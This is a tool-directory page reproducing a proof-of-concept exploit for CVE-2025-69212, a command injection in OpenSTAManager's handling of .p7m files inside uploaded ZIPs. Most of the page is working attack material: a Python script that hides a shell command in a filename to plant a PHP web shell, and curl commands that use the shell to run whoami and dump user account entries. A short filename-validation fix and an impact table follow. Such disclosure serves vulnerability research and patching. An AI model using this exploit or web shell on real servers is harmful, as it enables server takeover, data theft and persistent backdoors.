Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
OpenSTA-Exploit — Proof of Concept (PoC) of CVE-2025-69212 related with P7M File Processing | Kitploit
Tools/GitHubGitHub/lolw0/opensta-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHublolw0/opensta-exploit

OpenSTA-Exploit

Proof of Concept (PoC) of CVE-2025-69212 related with P7M File Processing

View Repository
5 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

OpenSTA-Exploit

image

DataDetail
CVE IDCVE-2025-69212
Vuln Scorecritical (9.4)
CWE78: Improper Neutralization of Special Elements used in an OS Command
Affected VersionsOpenSTAManager <= 2.9.8
Attack vectorupload a ZIP file containing a .p7m file with malicious filename
AuthRequired
Impactexecute arbitrary system commands on the server

Exploit explanation

  1. Stores a shell command in the variable cmd (which does create a file called SHELL.php containing PHP code that can execute commands).
  2. Builds a specially filename hiding the command from cmd variable and saves in malicious_file variable.
  3. Creates a new ZIP file called exploit.zip and opens it for writing.
  4. Adds a file to the ZIP. Its filename is the malicious_file variable.
  5. Malicious filename is injected into the exec() command.

PoC (Proof of Concept)

1. Create zip file to inject

root@kitploit:~
import zipfile
import time

print("Creating zip file...")
time.sleep(1)

cmd = "cd files && echo '<?php system($_GET[\"c\"]); ?>' > SHELL.php"
malicious_file = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_file, b"")

2. Exec file and upload

root@kitploit:~
lolw0@sys:~/OpenSTA-Exploit$ python3 exploit.py
Creating zip file...
lolw0@sys:~/OpenSTA-Exploit$ ls
-rw-rw-r 2 lolw0 lolw0 281 Aug 10 22:36 exploit.zip
image

image

3. Exploit result

XML parsing fails after command execution

root@kitploit:~
HTTP/1.1 500 Internal Server Error

"error":{
"type":"Exception",
"message":"Start tag expected, '<' not found\n",
"code":0,
"file":"\/var\/www\/html\/openstamanager\/src\/Util\/XML.php",
"line":51}

3. Verification and remote code execution

root@kitploit:~
lolw0@sys:~/OpenSTA-Exploit$ curl "http://localhost:8080/files/SHELL.php?c=whoami"

www-data

lolw0@sys:~/OpenSTA-Exploit$ curl -s --get \ --data-urlencode 'c=getent passwd | grep -E "/home|/bin/bash|/bin/sh"' \
'http://localhost:8080/files/SHELL.php'

root:x:0:0:root:/root:/bin/bash
xxxx:x:1001:1001:,,,:/home/xxxx:/usr/sbin/nologin
yyyy:x:1002:1002:,,,:/home/yyyy:/usr/sbin/nologin
zzzz:x:1003:1003:,,,:/home/zzzz:/usr/sbin/nologin



Leads to...


Fix

**a simple fix is to validate filenames before processing (Only allow alphanumeric, dots, dashes and underscores to skip invalid filenames)

root@kitploit:~
foreach ($files_xml as $xml) {
    if (!preg_match('/^[a-zA-Z0-9._-]+$/', $xml)) {
        continue; 
    }
    if (string_ends_with($xml, '.p7m')) {
        $file = XML::decodeP7M($directory.'/'.$xml);
    }
}

(or you can simply update lol)

Download Tool
AttackDetail
Remote Code ExecutionFull server compromise with command execution
Data ExfiltrationAccess to all application data and database
Privilege EscalationPotential escalation if web server runs with elevated privileges or is vulnerable
PersistenceInstall backdoors and maintain access in time
Lateral MovementPivot to other systems/users on the network